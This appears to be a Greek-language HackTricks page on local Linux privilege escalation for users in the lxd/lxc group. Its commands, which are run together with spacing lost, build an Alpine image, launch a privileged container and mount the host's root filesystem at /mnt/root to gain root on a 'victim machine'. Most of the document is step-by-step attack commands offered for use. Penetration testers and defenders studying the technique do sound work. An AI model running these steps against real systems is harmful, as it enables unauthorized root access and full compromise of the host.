Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Εάν ανήκετε στην lxdήlxcομάδα, μπορείτε να γίνετε root
Εκμεταλλευόμενοι χωρίς σύνδεση στο διαδίκτυο
Μέθοδος 1
Μπορείτε να εγκαταστήσετε στη μηχανή σας αυτόν τον κατασκευαστή διανομής: https://github.com/lxc/distrobuilder (ακολουθήστε τις οδηγίες του github):
sudosu#Install requirementssudoaptupdatesudoaptinstall-ygitgolang-godebootstraprsyncgpgsquashfs-tools#Clone repogitclonehttps://github.com/lxc/distrobuilder#Make distrobuildercddistrobuildermake#Prepare the creation of alpinemkdir-p $HOME/ContainerImages/alpine/cd $HOME/ContainerImages/alpine/wgethttps://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml#Create the containersudo $HOME/go/bin/distrobuilderbuild-lxdalpine.yaml-oimage.release=3.18
Μεταφορτώστε τα αρχεία lxd.tar.xz και rootfs.squashfs, προσθέστε την εικόνα στο αποθετήριο και δημιουργήστε έναν container:
lxcimageimportlxd.tar.xzrootfs.squashfs--aliasalpine# Check the image is therelxcimagelist# Create the containerlxcinitalpineprivesc-csecurity.privileged=true# List containerslxclistlxcconfigdeviceaddpriveschost-rootdisksource=/path=/mnt/rootrecursive=true
Αν αντιμετωπίσετε αυτό το σφάλμα Σφάλμα: Δεν βρέθηκε αποθηκευτική μονάδα. Παρακαλώ δημιουργήστε μια νέα αποθηκευτική μονάδα
Εκτελέστε lxd init και επαναλάβετε το προηγούμενο τμήμα εντολών
Τελικά μπορείτε να εκτελέσετε τον container και να αποκτήσετε root:
lxcstartprivesclxcexecprivesc/bin/sh[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Μέθοδος 2
Δημιουργήστε ένα εικονικό περιβάλλον Alpine και ξεκινήστε το χρησιμοποιώντας τη σημαία security.privileged=true, εξαναγκάζοντας τον ελάχιστο χώρο να αλληλεπιδράσει ως root με το αρχείοσύστημα του κεντρικού συστήματος.
# build a simple alpine imagegitclonehttps://github.com/saghul/lxd-alpine-buildercdlxd-alpine-buildersed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo./build-alpine-ai686# import the imagelxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as defaultlxdinit# run the imagelxcinitmyimagemycontainer-csecurity.privileged=true# mount the /root into the imagelxcconfigdeviceaddmycontainermydevicedisksource=/path=/mnt/rootrecursive=true# interact with the containerlxcstartmycontainerlxcexecmycontainer/bin/sh
lxcinitubuntu:16.04test-csecurity.privileged=truelxcconfigdeviceaddtestwhateverdisksource=/path=/mnt/rootrecursive=truelxcstarttestlxcexectestbash[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted